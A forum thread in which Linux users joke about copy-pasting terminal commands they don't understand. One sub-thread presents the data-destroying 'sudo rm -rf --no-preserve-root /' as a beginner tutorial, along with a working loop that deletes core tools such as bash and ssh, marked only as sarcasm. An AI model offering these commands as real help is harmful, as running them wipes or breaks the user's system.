• @mvirts
      link
      71 year ago

      No hash, get cash!

    • @garconip
      link
      61 year ago

      I usually get an output saying my distro isn’t supported. So I have to download and edit the script then it can bypass checking os-release or something like that.

  • Rabbithole
    link
    fedilink
    60
    edit-2
    1 year ago

    I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.

    It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

    Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

    sudo rm -rf /

    Type your password when prompted and you’re golden. No more linux issues ever again.

    • Hello Hotel
      link
      31
      edit-2
      1 year ago

      Remember that if you run it as root and dont add the flag --no-preserve-root you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,

      I also find that adding --verbose adds more things like commentary and extras that really help

      So, run sudo rm -rf --no-preserve-root --verbose

      /s

      • Rabbithole
        link
        fedilink
        19
        edit-2
        1 year ago

        All good points.

        That’s why I love communities like these, there are always people willing to expound upon other’s solutions with solid additional information.

        It’s what makes forums like these such goldmines of information when you’re first cutting your teeth learning new things.

        Upvoted.

    • @whoamibro
      link
      21
      edit-2
      1 year ago

      I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I’ve ever seen. Now I wonder why other OSes don’t do that

      • Rabbithole
        link
        fedilink
        13
        edit-2
        1 year ago

        It’s great, isn’t it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system’s using now that you’ve run the tutorials. It’s almost like nothing’s going on in the background at all.

        This is the reason that BASH will always be better than Powershell, imho.

        • Hello Hotel
          link
          41 year ago

          It optomizes your computer too? Woa

          • Rabbithole
            link
            fedilink
            121 year ago

            Well, technically it teaches you how to optimize your system.

            That said, the optimizations are really effective.

            • Hello Hotel
              link
              8
              edit-2
              1 year ago

              Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcably

              while read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <<bloatlist 
              clang # unwanted telemitry
              bash  # promotes violence
              tree    # hippy garbage
              awk    # secret backdoor into your PC
              ssh    # isnt up to date on its intentional encryption backdoor certificate
              bloatlist
              
              /s

              Hope nobody dumb enough to run this Because it actually works

              • Rabbithole
                link
                fedilink
                41 year ago

                Lol, I know what you mean.

                Isn’t it fucked up how we all say that linux doesn’t have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn’t have “Tree” or “Awk” just sitting there waiting to ruin your whole day.

                I swear to God Canonical have some things to answer for.

    • NightoftheLemmy
      link
      fedilink
      191 year ago

      Done and I must say, as stated by the comments above - my CPU and RAM usage are at an all time low. Other OSes don’t hold shit against Linux now.

    • @[email protected]
      link
      fedilink
      121 year ago

      I told someone to do that way back when. He wisely tried it on a computer at Best Buy (a Mac) rather than his own. I respected his thinking ahead.

  • @turbodrooler
    link
    401 year ago

    That’s probably how most of us started, but then you start getting familiar with things…

    • @meteotsunami
      link
      461 year ago

      And that’s when you really get good at breaking shit.

      • @turbodrooler
        link
        291 year ago

        In my early days I would reinstall the whole OS several times a week when I would fuck things up too much.

        • @RealBlstr
          link
          131 year ago

          Ah, the good old days of installing some obscure distro just to reinstall from scratch a week after 👌🏼

          • mfn77
            link
            6
            edit-2
            1 year ago

            I’m still curious about stuff I didn’t try. Like NixOS. Even tough I have a perfectly configured and problem free arch install which could take hours to replicate, I still consider if I should try it.

            • @[email protected]
              link
              fedilink
              3
              edit-2
              1 year ago

              I just switched to NixOS from Endeavour maybe 1/2 days ago. It’s honestly pretty cool(i might have to be extra stupid to break this distro lol), but even as a vanilla Arch user it still kind of confuses me. I’m a linux noob, though. You’ll probably have an easier time with it.

              Edit: i do miss pacman, specially yay.

        • @[email protected]
          link
          fedilink
          21 year ago

          God I spent so much unnecessary time reinstalling arch, before arch-install too! Looking back almost every time I reinstalled arch I could have fixed it with an installer and chroot.

      • @ohlaph
        link
        11 year ago

        Professional level breaking.

    • @RealBlstr
      link
      81 year ago

      That’s true. I’m no expert, I need to google everything - but after years of reading / coping/ pasting similar things, I started to understand how some things work.

      • @mvirts
        link
        11 year ago

        While at the same time, others understand less and less how you work

  • @Pensi
    link
    321 year ago

    I actually take the time to type everything out, but I still have no idea what I’m doing.

    • @[email protected]
      link
      fedilink
      81 year ago

      You know, my students do this. It’s freaking hilarious when they inevitably have a typo and get an error. I chuckle every time. 😄

      • @madwifi
        link
        181 year ago

        it is actually a good thing to do. helps in learning stuff faster. it’s good to hear that there’s still people who don’t mindlessly copy and paste

        • @[email protected]
          link
          fedilink
          41 year ago

          I realize my post sounds like I’m against students typing out commands, but I’m not. I’m against them mindlessly typing out commands they find on the internet without taking time to understand what the commands actually do. I encourage them to be intentional with their commands and really understand them.

      • @mvirts
        link
        101 year ago

        Omg I tell people at least 3 times a day about bash’s tab completion. Cli proficiency should be taught before programming

        • @joshron
          link
          41 year ago

          Mindlessly mashing tab > copy paste any day brother

        • @cmbabul
          link
          3
          edit-2
          1 year ago

          Thank you, whenever people ask me how to start learning and get rolling in tech related things I’ve struggled trying to articulate this exact point. I’m not a sysadmin or anything but knowing how to navigate CLIs across OS’s makes everything so much easier to learn and do

        • @[email protected]
          link
          fedilink
          21 year ago

          Tab completion is the main way I check that I’m using a valid file path in the command, especially when I’m deleting something. (and even then I double and triple check the path when I delete something lol)

  • @[email protected]
    link
    fedilink
    221 year ago

    People underestimate how important being able to google answers on the internet has been for the take-up of linux and many other things. Most of us would be lost without Google.

    • @mvirts
      link
      151 year ago

      Aaand the arch wiki

      Aaand stack overflow

      Aaand the Gentoo wiki

      Aaand random Linux forums :P

      Aaand very occasionally the accessible source code for when you’re really stuck and have no other choice but to sell your soul in exchange for a glimmer of understanding after peering into the abyss.

      • @cmbabul
        link
        31 year ago

        I’m convinced that if StackOverflow goes down society would follow within a matter of weeks.

  • DreamButt
    link
    181 year ago

    For anyone who needs it. Try out:

    curl cheat.sh/
    
    • @MellowSnow
      link
      111 year ago

      OP bout to copy/paste this without knowing what it does lol.

          • @MellowSnow
            link
            8
            edit-2
            1 year ago

            The curl command pulls data from a URL into your terminal. So you can actually go to cheat.sh in a web browser to see what the output would be (also wouldn’t necessarily recommend doing this vs. blindly pasting commands, but in this case, perfectly safe!). It looks like a little Unix command helper tool.

            • @[email protected]
              link
              fedilink
              31 year ago

              Why wouldn’t you recommend this? As a novice, it seems to me like a safe way to check out what you’re actually pulling in through curl

          • @MetaCubed
            link
            61 year ago

            Quick google shows it’s (likely) an aggregate cheat sheet for numerous resources which can be accessed via curl cheat.sh/ or curl cht.sh

            (I haven’t confirmed this, verify the safety of all commands and code that you run on your system before you run it, don’t inherently trust someone else)

        • @FooSolo
          link
          21 year ago

          Do it a few times and it gives your computer massive biceps

  • @DucktorZee
    link
    181 year ago

    Not just Linux, I do this all the time when ‘writing’ R or Python scripts for work. Then I spend the next 2 hours debugging a missing comma.

    • @zuhayr
      link
      21 year ago

      Butt that’s how I learnt the scripting!

  • @[email protected]
    link
    fedilink
    131 year ago

    You move past this stage once you start actually depending on the system. Then you find imperfect answers to some problem and have to adapt them to your system. Then you start learning.

  • @gunpachi
    link
    111 year ago

    Years ago I started out like this, then gradually started reading and understanding the stuff.

    • netburnr
      link
      41 year ago

      This is the way.

      We’re still using this meme right? /2%er

    • @purplemonkeymad
      link
      11 year ago

      I sometimes feel like I go all the way around. I find a fix for a problem that says: just copy and paste this. I then spend 3 hours or more reading and trying to understand the snippet, or do it directly. Then I realise the fix is to just copy and paste that original snippet.

      I guess at least I now understand why everyone just does that for that problem.

    • @[email protected]
      link
      fedilink
      11 year ago

      After reading (or skimming) many books on *nix, I encountered one that was way over my head. I was lost and gave up after ~25 pages. A few years later, I found myself reading it casually because I no longer needed to type things out to verify how they worked. It was an awesome feeling.

  • zephyrvs
    link
    fedilink
    111 year ago

    I don’t think that’s a terrible way of getting started. Your subconscious will do the rest at some point, unless you’re really not interested at all (which isn’t a problem either). :)

    • @ShadyGrove
      link
      131 year ago

      The real learning happens when you copy and paste something you shouldn’t and bork your system. That’s basically how I started.

      • sunbunman
        link
        fedilink
        English
        81 year ago

        Me learning anything ever. Troubleshooting is the real learning phase.

        • @Viking_Hippie
          link
          English
          -51 year ago

          No offence, but I hope you don’t hold a high ranking government position, what with catastrophic error being the only way you learn 😁

            • @Viking_Hippie
              link
              English
              41 year ago

              Same tbh. For the hassle to be worth it, you’d probably have to have either an extreme tolerance for bureaucracy and patience in general or exactly the kind of selfishly careless mentally that would mean that you should NEVER be allowed anywhere near the job…

          • sunbunman
            link
            fedilink
            English
            41 year ago

            One would hope that all the learning mistakes happen earlier in the career before you could be trusted with something big like that.

    • @ohlaph
      link
      31 year ago

      We are not alone.

    • @[email protected]
      link
      fedilink
      21 year ago

      That was me today when I allowed Linux to remove what it claimed "can/should’ remove X packages… now my llmachine has no VMware tools, won’t scale, and is missing something called fuse?

      • @ozymandias117
        link
        71 year ago

        fuse is for mounting filesystems that don’t have in-kernel drivers. I haven’t touched VMWare in a while, but they might use it for sharing folders between the host and guest

      • @mvirts
        link
        41 year ago

        Think of it as a forced upgrade 🤪

  • @pacology
    link
    51 year ago

    All hail the arch Linux wiki!